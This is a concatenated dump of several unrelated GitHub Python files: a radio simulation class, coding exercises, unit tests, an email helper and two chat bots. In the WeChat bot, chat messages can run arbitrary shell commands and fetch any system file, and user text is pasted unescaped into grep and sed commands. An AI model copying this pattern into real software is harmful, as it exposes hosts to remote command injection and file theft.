field values for matching points\n \"\"\"\n def __init__(self, simulation_path: str):\n self.simulation_path = simulation_path\n self.name = os.path.basename(simulation_path)\n aerial_paths = []\n self.__points = []\n for file in os.listdir(simulation_path):\n if file.endswith('.cer'):\n aerial_paths.append(os.path.join(simulation_path, file))\n elif file.endswith('.dat'):\n self.__points = fm._parse_file_puntos(os.path.join(simulation_path, file))\n self.__original_points = self.__points.copy()\n self.__build_aerial__measures(aerial_paths)\n\n def __repr__(self):\n return (f'Simulation: {self.name!r}\\r\\n'\n f'------------------------------\\r\\n' \n f'\\tPath: {self.simulation_path!r}\\r\\n')\n\n def __build_aerial__measures(self, path_list: list):\n self.aerial_measures = dict()\n for path in path_list:\n aerial_measure = am.AerialMeasure(path)\n self.aerial_measures.update({aerial_measure.id: aerial_measure})\n\n def get_field_value(self, aerial: str, id=None, point_coord=None):\n \"\"\"\n Get the specific field value of an aerial in a determined point.\n id and/or point coordinates can be used as arguments optionally. If no argument is provided,\n it returns a list with all the values.\n\n :param aerial: string with the aerial id. Example: \"1\", \"7\" or \"all\"\n :param id: [optional] int with the specific id of the field value (it matches the id of the point)\n :param point_coord: [optional] array with X, Y and Z coordinates of a specific point. Example: [0.5, 1.5, 0.5]\n :return: FieldValue object matching the given point, None if no value was found. Returns a list of field values\n for the given aerial if id and point_coord are None.\n \"\"\"\n\n if id is None and point_coord is None:\n return [fv for fv in self.aerial_measures[aerial].entries.values()]\n\n res = None\n\n if id is not None:\n if isinstance(id, list):\n res = list()\n for pid in id:\n res.append(self.aerial_measures[aerial].entries[pid])\n elif id in self.aerial_measures[aerial].entries:\n res = self.aerial_measures[aerial].entries[id]\n elif point_coord is not None:\n if len(self.__points) > 0:\n point_id = None\n for pt in self.points:\n if pt.x == point_coord[0] and pt.y == point_coord[1] and pt.z == point_coord[2]:\n point_id = pt.id\n break\n if point_id is None:\n res = None\n else:\n res = self.aerial_measures[aerial].entries[point_id]\n else:\n raise ValueError(\"List of points for simulation {} is empty\".format(self.name))\n\n return res\n\n def get_point(self, id: int):\n \"\"\"\n Function to get a specific point based on id\n\n :param id: point targeted id\n :return: Point object matching the parameters provided, None otherwise\n \"\"\"\n res = None\n if len(self.__points) > 0:\n for pt in self.points:\n if pt.id == id:\n res = pt\n break\n else:\n raise ValueError(\"List of points for simulation {} is empty\".format(self.name))\n\n return res\n\n def cohort_points(self, selected_points=None, restore=False):\n \"\"\"\n Creates a subgroup of points from a given list of ids. If restore is specified,\n point list will be restored to original.\n\n :param selected_points: list of int with desired point ids.\n :param restore: bool value to restore point list to its original.\n :return:\n \"\"\"\n if restore:\n self.__points = self.__original_points.copy()\n elif selected_points is not None:\n self.__points = [pt for pt in self.__original_points if pt.id in selected_points]\n else:\n warnings.warn(\"Cohort point ids not specified, subgroup not created\".format(self.name))\n\n @property\n def points(self):\n \"\"\"List containing all the points used in the simulation\"\"\"\n if len(self.__points) < 1:\n warnings.warn(\"Point list for simulation {} is empty\".format(self.name))\n return self.__points\n","repo_name":"Aportillog/room-location","sub_path":"localizationpy/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":4775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31487217411","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport sys\nimport logging\nimport logging.config\nimport wxpy\nimport utils\n\ndef setup_logging(\n default_path='logging.json', \n default_level=logging.INFO,\n env_key='LOG_CFG'\n):\n \"\"\"Setup logging configuration\n \n \"\"\"\n path = default_path\n value = os.getenv(env_key, None)\n if value:\n path = value\n if os.path.exists(path):\n import json\n with open(path, 'rt') as f:\n config = json.load(f)\n logging.config.dictConfig(config)\n else:\n logging.basicConfig(level=default_level)\n\n# 初始化日志\nsetup_logging()\nLOG = logging.getLogger(__name__)\n\n\n# 初始化机器人\ndef on_logout():\n import time\n # http://blog.csdn.net/caisini_vc/article/details/5619954\n ISOTIMEFORMAT = '%Y-%m-%d %X'\n LOG.warn('---\\nlogged out on %s\\n---' %\n time.strftime(ISOTIMEFORMAT, time.localtime()))\n os._exit(0)\n\n# 初始化机器人对象\nbot = wxpy.Bot('wxpy_cache.pkl', console_qr=True, logout_callback=on_logout)\n\n\n\n\n@bot.register()\ndef default_msgproc(msg):\n \"\"\" 默认消息处理函数。\n 注意:优先匹配 后注册 的函数,且仅匹配 一个 注册函数。 \n \"\"\"\n LOG.info('DEFAULT %s: %s, %s' % (msg.sender, msg.type, msg.text))\n #LOG.debug(vars(msg))\n\n\n@bot.register(msg_types=wxpy.SHARING)\ndef sharing_msgproc(msg):\n LOG.debug('SHARING %s: %s, %s' % (msg.sender, msg.text, msg.url))\n\n\n@bot.register(wxpy.Friend, msg_types=wxpy.TEXT, except_self=False)\ndef friends_msgproc(msg):\n \"\"\" 处理好友聊天信息 \"\"\"\n LOG.info('FRIEND %s: %s, %s' % (msg.sender, msg.type, msg.text))\n if (msg.sender == bot.self):\n LOG.debug('msg.sender == bot.self')\n if msg.text.startswith('file'):\n # msg.sender.send_file('file.txt')\n return utils.execCmd('echo \"hello\"')\n if msg.text.startswith('...') or msg.text.startswith('。。。'):\n return '{} -> {}'.format(msg.sender, msg.text)\n\n\n@bot.register(wxpy.Friend, msg_types=wxpy.ATTACHMENT, except_self=False)\ndef friends_fileproc(msg):\n LOG.info('FRIEND %s: %s, %s' % (msg.sender, msg.type, msg.text))\n msg.get_file('.')\n\n# TODO: 这个只能被管理员调用,安全性\n\n\ndef robotQueryCommand(msg):\n LOG.info('robotQueryCommand %s: %s, %s',\n msg.sender, msg.type, msg.text)\n try:\n cmdStr = re.sub(r'@[^ \\u2005]*[ \\u2005]*', \"\", msg.text) # MEMO:字符串替换\n LOG.debug('remove at, cmdStr=%s', cmdStr)\n # b'@\\xe5\\x88\\x98\\xe5\\xbe\\xb7 !#: ls'\n # b'@\\xe5\\x88\\x98\\xe5\\xbe\\xb7\\xe2\\x80\\x85!#: ls'\n match = re.match(r'!(?P.*?):[ ]*(?P.*)', cmdStr, re.DOTALL)\n # logger.debug(msg.text.encode())\n if match:\n LOG.debug('matched' + str(match.groups()))\n code = match.group('code')\n text = match.group('text')\n LOG.debug('code: ' + code)\n if (code == '#'):\n return utils.execCmd(text)\n elif (code == '+'):\n return utils.appendMemo(msg, text)\n elif (code == '?'):\n return utils.replace_with_statuses(text)\n elif (code == ''):\n #return utils.execCmd(\"grep '%s' history.txt\" % text)\n return utils.execCmd(\"sed -n '/^[^;]*$/d; s/^.*://; s/。.*//; /.*%s.*/p' history.txt | uniq -u\" % text)\n elif (code.isdigit()):\n #return utils.execCmd(\"sed -n '/^[^;]*$/d; s/^.*://; s/。.*//; /.*%s.*/p' history.txt | uniq -u | head -n %s\" % (text, code))\n return utils.execCmd(\"grep '%s' history.txt | head -n %s\" % (text, code))\n elif (code == '*'):\n return utils.replace_with_addresses(text)\n elif (code == 'f'):\n msg.sender.send_file(text)\n else:\n return '命令格式错误,请输入???查询帮助'\n elif cmdStr.isdigit(): # MEMO:判断是否为数字\n return utils.get_shipment_status(cmdStr)\n elif cmdStr.startswith('file'):\n msg.sender.send_file('history.txt')\n pass\n elif cmdStr.startswith('???') or cmdStr.startswith('???'):\n return ''' 帮助,支持的命令格式如下:\n\n!+: 记录内容 => 添加记录\n!1: 关键词 => 按关键词查询记录\n!: 关键词 => 按关键词查询,返回多条地址信息(相同的地址信息合并)\n!*: 多行文本 => 批量将{姓名}替换为地址\n!?: 多行文本 => 批量查询快递单\n!f: 文件名 => 调试命令:获取系统文件\n!#: 系统命令 => 调试命令:执行系统命令\n '''\n elif cmdStr.startswith('...') or cmdStr.startswith('。。。'):\n return '{} -> {}'.format(msg.sender, msg.text)\n else:\n LOG.debug('not matched: %s', cmdStr[:10].encode('utf_8') )\n return None # TODO\n except Exception as e:\n LOG.exception(e)\n return 'Exception: %s' % e\n\n\n# 处理管理员聊天信息\nadmins = [bot.self]\nadmins.append(wxpy.ensure_one(bot.friends().search(nick_name=u'刘德')))\nadmins.append(wxpy.ensure_one(bot.friends().search(nick_name=u'津')))\n\n\n@bot.register(admins, msg_types=wxpy.TEXT, except_self=False)\ndef admins_msgproc(msg):\n LOG.info('ADMIN::TEXT %s: %s, %s' % (msg.sender, msg.type, msg.text))\n return robotQueryCommand(msg)\n\n\n@bot.register(admins, msg_types=wxpy.SHARING, except_self=False)\ndef admins_sharing_proc(msg):\n LOG.info('ADMIN::SHARING %s: %s, %s' % (msg.sender, msg.text, msg.url))\n return robotQueryCommand(msg)\n\n\n# 管理群内的消息处理\ngroups = []\n# groups.append(wxpy.ensure_one(bot.groups().search(u'水果吃货群')))\ngroups.append(wxpy.ensure_one(bot.groups().search(u'津果机器人')))\n\n\n@bot.register(groups, except_self=False)\ndef groups_msgproc(msg):\n #from_user = msg.member if isinstance(msg.chat, Group) else msg.sender\n LOG.info('GROUP: sender=%s, member=%s, text=%s',\n msg.sender, msg.member, msg.text)\n if (msg.type == wxpy.SHARING) and (msg.sender not in admins):\n LOG.warn('欢迎针对\"水果吃法\"进行讨论,请勿发表与群主题无关内容,谢谢') # TODO: return\n if msg.is_at: # 自己被@时为True\n return robotQueryCommand(msg)\n elif (msg.sender == bot.self):\n return robotQueryCommand(msg)\n else:\n LOG.debug('sender:%s != self:%s', msg.sender.user_name, bot.self.user_name)\n return None\n\n\ndef get_new_member_name(msg):\n rp_new_member_name = (\n re.compile(r'^\"(.+)\"通过'),\n re.compile(r'邀请\"(.+)\"加入'),\n re.compile(r'^\"(.+)\" joined '),\n re.compile(r'invited \"(.+)\" to'),\n )\n\n for rp in rp_new_member_name:\n match = rp.search(msg.text)\n if match:\n return match.group(1)\n\n\n# 新人入群的欢迎语\nwelcome_text = '''[Shake] 欢迎 @{} 入群!'''\n\n\n@bot.register(groups, wxpy.NOTE)\ndef welcome_msgproc(msg):\n # itchat 1.2.32 版本未格式化群中的 Note 消息\n from itchat.utils import msg_formatter\n msg_formatter(msg.raw, 'Text')\n\n name = get_new_member_name(msg)\n if name:\n return welcome_text.format(name)\n\n\nwxpy.embed()\n","repo_name":"speedoops/gourmet-bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4035102805","text":"#!/usr/bin/python3\n# This is an exercise file from Python 3 Essential Training on lynda.com\n# Using Strings\n\n\ndef main():\n s = \"This is a string!\"\n print(s)\n\nif __name__ == \"__main__\": main()\n\n\n\n# adding \\n introduces new line in string\ndef main():\n s = \"This is a\\nstring!\"\n print(s)\n\nif __name__ == \"__main__\": main()\n\n\n\n# adding r to be part of the string i.e raw string\ndef main():\n s = r\"This is a\\nstring!\"\n print(s)\n\nif __name__ == \"__main__\": main()\n\n\n\n# format and replace variables in the string\ndef main():\n n = 42\n s = r\"This is a {} string!\".format(n) # format is a method\n print(s) # of the string object\n #\nif __name__ == \"__main__\": main()\n\n\n\n# another way to define a string\ndef main():\n n = 42\n s = '''\\\nthis is a string with line\nafter line of text\n'''\n print(s)\n\nif __name__ == \"__main__\": main()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mauricesandoval/Tech-Academy-Course-Work","sub_path":"Python/Python3-VariablesObjectsValues/variables-strings.py","file_name":"variables-strings.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4879270621","text":"\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\nExample of iterate a tree:\niterator = BSTIterator(root)\nwhile iterator.hasNext():\n node = iterator.next()\n do something for node\n\"\"\"\n\nclass BSTIterator:\n \"\"\"\n @param: root: The root of binary tree.\n \"\"\"\n def __init__(self, root):\n self.stack = []\n left = root\n # go to left subtree\n while left:\n self.stack.append(left)\n left = left.left\n\n \"\"\"\n @return: True if there has next node, or false\n \"\"\"\n def hasNext(self, ):\n return len(self.stack) > 0\n\n \"\"\"\n @return: return next node\n \"\"\"\n def next(self, ):\n node = self.stack.pop()\n # this is where we visited the node\n # same as in order traversal\n child = node.right\n\n # visits right subtree\n while child:\n self.stack.append(child)\n child = child.left\n return node","repo_name":"ZhouningMan/LeetCodePython","sub_path":"iterator/BSTIterator.py","file_name":"BSTIterator.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40973324867","text":"from unittest import TestCase\nimport pytest\n\nfrom .sample_file_management import SampleFileManagement\n\nfrom implementation_services.closest_canonicals_extractor import find_closest_canonicals\nfrom implementation_services.closest_canonicals_extractor import extract_characters_at_given_coordinates\nfrom implementation_services.closest_canonicals_extractor import initialize_fasta\nfrom implementation_services.closest_canonicals_extractor import count_most_common_indel_case\nfrom implementation_services.closest_canonicals_extractor import iterate_intron_sites\nfrom implementation_services.closest_canonicals_extractor import extract_nucleotides_from_most_common_del_location\n\n\nclass TestClosestCanonicalsExtractor(TestCase):\n\n @pytest.fixture(autouse=True)\n def capsys(self, capsys):\n self.capsys = capsys\n\n def setUp(self):\n \"\"\"\n Note: these values have been altered to match the range of the sample data.\n The extracted matches should be 'GT' and 'AG'. This needs to be changed\n when the sample data is updated.\n \"\"\"\n self.fasta_path = SampleFileManagement().reference_fasta\n self.intron_site_dict = {\n ('transcript1.chr1.nnic', 210): {\n 'transcript_id': 'transcript1.chr1.nnic',\n 'strand': '+',\n 'location_type': 'start',\n 'exon_number': 3,\n 'location': 210,\n 'seq_id': 'chr1',\n 'extracted_information': {\n 'left': {\n 'closest_canonical': \"\",\n 'deletions': {0: 1, 1: 2, 4: 10}\n },\n 'right': {\n 'closest_canonical': \"\",\n 'deletions': {0: 1, 1: 2, 2: 10}\n }\n }\n },\n ('transcript1.chr1.nnic', 45): {\n 'transcript_id': 'transcript1.chr1.nnic',\n 'strand': 'X',\n 'location_type': 'end',\n 'exon_number': 4,\n 'location': 45,\n 'seq_id': 'chr1',\n 'extracted_information': {\n 'left': {\n 'closest_canonical': \"\",\n 'deletions': {0: 1, 1: 2, 4: 10}\n },\n 'right': {\n 'closest_canonical': \"\",\n 'deletions': {0: 1, 1: 2, 4: 10}\n }\n }\n },\n }\n\n def test_finding_closest_canonicals_returns_correct_values_when_both_matches_are_found(self):\n dict_entry = ('transcript1.chr1.nnic', 210)\n nucleotides = 'GAAAGCAAGTATTTTG'\n canonicals = ['GT', 'GC', 'AT']\n find_closest_canonicals(\n nucleotides, dict_entry, canonicals, self.intron_site_dict)\n left = self.intron_site_dict[dict_entry]['extracted_information']['left']['closest_canonical']\n right = self.intron_site_dict[dict_entry]['extracted_information']['right']['closest_canonical']\n self.assertEqual(left, (\"GC\", \"GT\", 4))\n self.assertEqual(right, (\"AT\", \"GT\", 2))\n\n def test_fasta_extraction_returns_xx_in_case_of_key_error(self):\n fasta = initialize_fasta(self.fasta_path)\n\n result = extract_characters_at_given_coordinates(\n ('chr3', 10, 12), -1, fasta)\n self.assertEqual(result, 'XX')\n\n def test_distinct_most_common_case_is_returned(self):\n cases = {0: 10, 1: 2, 3: 0, 4: 20, 5: 1}\n result = count_most_common_indel_case(cases)\n self.assertEqual(result, 4)\n\n def test_cases_where_strand_is_neither_pos_or_neg_are_omitted(self):\n dict_entry = ('transcript1.chr1.nnic', 45)\n fasta = initialize_fasta(self.fasta_path)\n iterate_intron_sites(self.intron_site_dict, 8, -1, fasta)\n\n left = self.intron_site_dict[dict_entry]['extracted_information']['left']['closest_canonical']\n right = self.intron_site_dict[dict_entry]['extracted_information']['right']['closest_canonical']\n print(self.intron_site_dict)\n self.assertEqual(left, (\"XX\", \"XX\", 0))\n self.assertEqual(right, (\"XX\", \"XX\", 0))\n\n def test_correct_nucleotides_are_extracted(self):\n dict_entry = ('transcript1.chr1.nnic', 210)\n fasta = initialize_fasta(self.fasta_path)\n extract_nucleotides_from_most_common_del_location(\n self.intron_site_dict[dict_entry], fasta)\n left = self.intron_site_dict[dict_entry]['extracted_information']['left']['most_common_case_nucleotides']\n right = self.intron_site_dict[dict_entry]['extracted_information']['right']['most_common_case_nucleotides']\n self.assertEqual(left, 'AG')\n self.assertEqual(right, 'AT')\n","repo_name":"heidi-holappa/comparison-analyzer","sub_path":"src/tests/imp_closest_canonicals_test.py","file_name":"imp_closest_canonicals_test.py","file_ext":"py","file_size_in_byte":4787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40744849547","text":"\"\"\"\n display only those numbers from a list that satisfy the following conditions\n\"\"\"\n\"\"\"\n * conditions\n - The number must be divisible by five\n - If the number is greater than 150, then skip it and move to the next number\n - If the number is greater than 500, then stop the loop\n\"\"\"\n# list of number \nnum = [12,75,150,180,145,525,50]\n\nfor i in num:\n if i>= 500:\n break\n else:\n if i%5==0:\n if i>150:\n continue\n else:\n print (i)\n \n","repo_name":"dhruvkparmar/python","sub_path":"Ex_1/P_E_1_5.py","file_name":"P_E_1_5.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23819418053","text":"# Email object to be sent\n__author__ = \"Matteo Golin\"\n\n# Imports\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom .html import HTMLObject\n\n\n# Classes\nclass Email:\n\n \"\"\"Email object to be sent.\"\"\"\n\n def __init__(self, subject: str, text: str = None, html: HTMLObject = None):\n\n # Message creation\n self.message = MIMEMultipart('alternative')\n self.message[\"Subject\"] = subject\n\n # Attaching parts\n if text:\n plaintext = MIMEText(text, 'plain')\n self.message.attach(plaintext)\n\n if html:\n HTML = MIMEText(html.html_string, 'html')\n self.message.attach(HTML)\n\n def send(self, recipient: str, server: smtplib.SMTP_SSL) -> None:\n\n \"\"\"Sends the email to the recipient.\"\"\"\n\n self.message[\"To\"] = recipient\n self.message[\"From\"] = server.user\n\n server.sendmail(server.user, recipient, self.message.as_string())\n","repo_name":"linguini1/HTMail","sub_path":"classes/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"46377577737","text":"import sys\nfrom times_tables import times_tables_complex\n\nflags = [\"-f\", \"-s\"]\n\n# print(sys.argv[2] not in flags and not sys.argv[2].isnumeric())\n\n\nif len(sys.argv) < 2:\n raise ValueError(\"You need to enter some arguments!\")\n\nelif len(sys.argv) >= 2:\n try:\n if sys.argv[1] in flags:\n raise Exception(\"You can't enter a flag first, put a number first...\")\n number = float(sys.argv[1])\n i = 0\n count_num = 0\n while i < len(sys.argv):\n if sys.argv[i].isnumeric():\n count_num += 1\n i += 1\n\n if count_num != 1:\n raise Exception(\"You need to contain exactly ONE number in the arguments!\")\n\n j = 2\n while j < len(sys.argv):\n if sys.argv[j] not in flags and not sys.argv[j].isnumeric():\n raise Exception(\"You need to only contain recognised tags! Like -f or -s.\")\n j += 1\n\n flags_present = []\n k = 1\n while k < len(sys.argv):\n if sys.argv[k] in flags:\n if sys.argv[k] in flags_present:\n raise Exception(\"You can't enter the same flag twice?\")\n else:\n flags_present.append(sys.argv[k])\n k += 1\n\n if flags_present == [\"-f\"]:\n times_tables_complex(number, \"^3.0f\")\n elif flags_present == [\"-s\"]:\n times_tables_complex(number, \".0f\", short=True)\n elif flags_present == [\"-f\", \"-s\"] or flags_present == [\"-s\", \"-f\"]:\n times_tables_complex(number, \">3.0f\", True)\n else:\n times_tables_complex(number, \".0f\")\n\n except ValueError:\n print(\"You have to input a number as the first argument!\")\n\n\n\n","repo_name":"sforrester23/SlitherIntoPython","sub_path":"chapter14/Question1.py","file_name":"Question1.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26133737948","text":"#!/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n# author: Joschka Hüllmann \r\n\r\nimport unittest\r\n\r\nimport os\r\nimport os.path\r\nfrom glob import glob\r\nimport unicodecsv as csv\r\nfrom io import BytesIO\r\n\r\nimport transform\r\n\r\nclass TestTransformMethods(unittest.TestCase):\r\n\r\n def test_add_to_mapping(self):\r\n mapping = {}\r\n testdata = {\"source@test.de\",\"Target \", \"source@test.de\",\"\\\"Target, Bot\\\" \",\"source@test.de\",\"target@test.de\", \\\r\n \"source@test.de\",\"Multiple Target 1 , Target 2 \", \"undisclosed-recipients:;\"}\r\n transform.add_to_mapping(mapping, 1, testdata)\r\n self.assertEqual(set(mapping.keys()), {\"source@test.de\", \"target@test.de\", \"test@test.de\", \"test2@test.de\", \"undisclosed-recipients\"})\r\n self.assertEqual(set(mapping.values()), {1,2,3,4,5})\r\n\r\n\r\n def test_check_special_addresses(self):\r\n test_addresses1 = [\"undisclosed-recipients:;\", \"undisclosed recipients:;\", \"verborgene_empfaenger: ;\"]\r\n test_addresses2 = [\"normal@address.de\", \"\"]\r\n for test_addr in test_addresses1:\r\n addr,ret = transform.check_special_addresses(test_addr)\r\n self.assertEqual(addr, \"undisclosed-recipients\")\r\n self.assertTrue(ret)\r\n for test_addr in test_addresses2:\r\n addr,ret = transform.check_special_addresses(test_addr)\r\n self.assertEqual(addr, test_addr)\r\n self.assertFalse(ret)\r\n\r\n def test_integration(self):\r\n testcsv = ''' \"Comunio.de Aktivitaetserinnerung\",\"mailbot@comunio.de\",\"user@web.de\",31.12.2014 04:57, \r\n\"Test Good news, Here YouCan Get ExclusiveTablet :-)\",\"Darrell \",\"user@web.de\",04.01.2015 23:07, \r\n\"Re: Ihre Angebotsanfrage\",\"\"\"Finn Schmitz\"\" \",\"angela.aust@web.de\",06.01.2015 00:40, \r\n\"Ihr Traumpartner wartet auf Sie - PARSHIP 20 günstiger! +++ WEB.DE Gutscheinportal mit Geschenk!\",\"\"\"WEB.DE Vorteilswelt\"\" \",\"user@web.de\",06.01.2015 06:53, \r\n\"Test OrderMeds ;-)\",\"Mitchell \",\"\"\"user@web.de\"\" \",06.01.2015 19:28, \r\n\"Attention Test To a dilemma which appeared inane\",\"Support Service \",\"\"\"user@web.de\"\" \",07.01.2015 09:06, \r\n\"LinkedInReminder has sent you a personal message\",\"LinkedInReminder \",\"\"\"user@web.de\"\" \",07.01.2015 10:09, \r\n\"Ihre Buchung wurde storniert! KFI28384773-2014\",\"\"\"Luisa Ludwig\"\" \",\"k.g.hahn@web.de\",07.01.2015 16:28, \r\n\"Buchung vom 17.10.14 best�tigt\",\"\"\"Mara Walter\"\" \",\"robert.rau@web.de\",08.01.2015 13:16, \r\n\"Kostenlos im Internet und unterwegs fernsehen mit Zattoo HiQ\",\"\"\"WEB.DE informiert\"\" \",\"user@web.de\",08.01.2015 17:51, \r\n\"blablabla\",\"\"\"Mann, User\"\" \",\"User1 , User2 , \"\"Bot, User\"\" \",01.01.2005 12:22, \r\n\"blablabla\",\"\"\"Mann, User\"\" \",\"=?UTF-8?Q?Marcel_H=C3=BCkker?= \",01.01.2005 12:22, \r\n'''\r\n\r\n expectedcsvs = b'''1,1,2,31.12.2014 04:57\r\n2,3,2,04.01.2015 23:07\r\n3,4,5,06.01.2015 00:40\r\n4,6,2,06.01.2015 06:53\r\n5,7,2,06.01.2015 19:28\r\n6,8,2,07.01.2015 09:06\r\n7,9,2,07.01.2015 10:09\r\n8,10,11,07.01.2015 16:28\r\n9,12,13,08.01.2015 13:16\r\n10,6,2,08.01.2015 17:51\r\n11,2,14,01.01.2005 12:22\r\n11,2,15,01.01.2005 12:22\r\n11,2,16,01.01.2005 12:22\r\n12,2,2,01.01.2005 12:22\r\n'''\r\n\r\n expectedmappingcsvs = b'''mailbot@comunio.de,1\r\nuser@web.de,2\r\ndu@prosegarden.net,3\r\nfsiwd@calgaryartistssociety.com,4\r\nangela.aust@web.de,5\r\nneu@web.de,6\r\neftaldd@amega.com,7\r\ndtamiezu@flipag.net,8\r\ngluecken1978@dhascpa.com,9\r\nrlksdu@haukelihytter.no,10\r\nk.g.hahn@web.de,11\r\njwxixj@mbacrystalball.com,12\r\nrobert.rau@web.de,13\r\nuser1@web.de,14\r\nuser2@web.de,15\r\nuser3@web.de,16\r\n'''\r\n\r\n try:\r\n with open(\"transform_test.csv.temp\",\"w\") as fp:\r\n fp.write(testcsv)\r\n\r\n index = 1\r\n mapping = {}\r\n files = glob(\"transform_test.csv.temp\")\r\n for file in files:\r\n index = transform.add_to_mapping(mapping, index, transform.parse_csv_to_unique_addresses(file))\r\n print(\"mapped %d (%d) addresses.\" % (len(mapping), index-1))\r\n\r\n if not os.path.isdir(\"anon\"):\r\n os.makedirs(\"anon\")\r\n\r\n for file in files:\r\n transform.process(mapping, file)\r\n print(\"processed %d files.\" % len(files))\r\n\r\n with open(os.path.join(\"anon\", \"mapping.csv\"), 'wb') as wp:\r\n writer = csv.writer(wp, delimiter=',', quotechar='\"')\r\n for kv in mapping.items():\r\n writer.writerow(kv)\r\n print(\"saved mapping as %s\" % os.path.join(\"anon\", \"mapping.csv\"))\r\n\r\n self.assertEqual(set(mapping.keys()), {\"mailbot@comunio.de\",\"user@web.de\", \"du@prosegarden.net\", \"fsiwd@calgaryartistssociety.com\", \"angela.aust@web.de\", \"neu@web.de\", \\\r\n \"eftaldd@amega.com\", \"dtamiezu@flipag.net\", \"gluecken1978@dhascpa.com\", \"rlksdu@haukelihytter.no\", \"k.g.hahn@web.de\", \"jwxixj@mbacrystalball.com\", \"robert.rau@web.de\", \\\r\n \"user1@web.de\", \"user2@web.de\", \"user3@web.de\"})\r\n\r\n with open(os.path.join(\"anon\",\"transform_test.csv.temp.anon.csv\"), \"rb\") as fp:\r\n targetcsv = []\r\n reader = csv.reader(fp, delimiter=',', quotechar='\"')\r\n for row in reader:\r\n targetcsv.append(row)\r\n\r\n expectedcsv = []\r\n fcsv = BytesIO(expectedcsvs)\r\n reader = csv.reader(fcsv, delimiter=',', quotechar='\"')\r\n for row in reader:\r\n expectedcsv.append(row)\r\n\r\n \r\n # compare columnwise\r\n self.assertCountEqual([x[0] for x in targetcsv], [x[0] for x in expectedcsv])\r\n # must compare together as order and counts differs across both columns\r\n self.assertEqual(set([x[1] for x in targetcsv])|set([x[2] for x in targetcsv]), set([x[1] for x in expectedcsv])|set([x[2] for x in expectedcsv]))\r\n self.assertCountEqual([x[3] for x in targetcsv], [x[3] for x in expectedcsv])\r\n\r\n with open(os.path.join(\"anon\",\"mapping.csv\"), \"rb\") as fp:\r\n targetmappingcsv = []\r\n reader = csv.reader(fp, delimiter=',', quotechar='\"')\r\n for row in reader:\r\n targetmappingcsv.append(row)\r\n\r\n expectedmappingcsv = []\r\n fcsv = BytesIO(expectedmappingcsvs)\r\n reader = csv.reader(fcsv, delimiter=',', quotechar='\"')\r\n for row in reader:\r\n expectedmappingcsv.append(row)\r\n\r\n self.assertCountEqual([x[0] for x in targetmappingcsv], [x[0] for x in expectedmappingcsv])\r\n self.assertCountEqual([x[1] for x in targetmappingcsv], [x[1] for x in expectedmappingcsv])\r\n\r\n finally:\r\n if os.path.exists(\"transform_test.csv.temp\"):\r\n os.remove(\"transform_test.csv.temp\")\r\n\r\n if os.path.exists(os.path.join(\"anon\",\"transform_test.csv.temp.anon.csv\")):\r\n os.remove(os.path.join(\"anon\", \"transform_test.csv.temp.anon.csv\"))\r\n\r\n if os.path.exists(os.path.join(\"anon\",\"mapping.csv\")):\r\n os.remove(os.path.join(\"anon\", \"mapping.csv\"))\r\n\r\n if os.path.isdir(\"anon\"):\r\n os.rmdir(\"anon\")\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"johuellm/importexporttools","sub_path":"python/transform_test.py","file_name":"transform_test.py","file_ext":"py","file_size_in_byte":7047,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"6986449926","text":"import asyncio\nimport json\n\nfrom telebot.async_telebot import AsyncTeleBot\n\nfrom database.queue_db import queue_out_crud, rejected_crud\nfrom model.pydantic.queue_out_raw import TestResult\nfrom model.pydantic.test_rejected_files import TestRejectedFiles\nfrom model.queue_db.queue_out import QueueOut\n\n\n# Функция для получения номера лабораторной (домашней) работы из имени файла\ndef _get_lab_number(name: str) -> int:\n name = name.replace(\"-\", \"_\")\n value = name.split(\"_\")[-1]\n value = value.split('.')[0]\n return int(value)\n\n\n# Класс для обработки ответов и отправки результатов студентам\nclass AnswerProcessing:\n \"\"\"\n Класс опроса промежуточной БД и отправки результатов студенту\n \"\"\"\n\n def __init__(self, bot: AsyncTeleBot, amount_answer_process: int | None = None):\n \"\"\"\n :param bot: ссылка на экземпляр бота\n :param amount_answer_process: количество обрабатываемых за раз записей.\n Если установлено в None - выгребается все из таблицы БД\n \"\"\"\n self.slice_size = amount_answer_process\n self.bot = bot\n\n async def run(self):\n while True:\n await asyncio.sleep(2)\n if queue_out_crud.is_not_empty():\n records = queue_out_crud.get_all_records()\n if self.slice_size is not None:\n if self.slice_size < len(records):\n records = records[:self.slice_size]\n await self.__processing_records(records)\n while rejected_crud.is_not_empty():\n record = rejected_crud.get_first_record()\n await asyncio.sleep(1)\n rejected = TestRejectedFiles(**json.loads(record.data))\n text = f'{rejected.description}:'\n for it in rejected.files:\n text += f' \\n{it}'\n await self.bot.send_message(\n record.chat_id,\n text,\n parse_mode=\"HTML\"\n )\n\n async def __processing_records(self, records: list[QueueOut]) -> None:\n \"\"\"\n Метод подготовки и отправки ответа по результатам проверки заданий работы\n\n :param records: записи результатов\n\n :return: None\n \"\"\"\n for record in records:\n test_result = 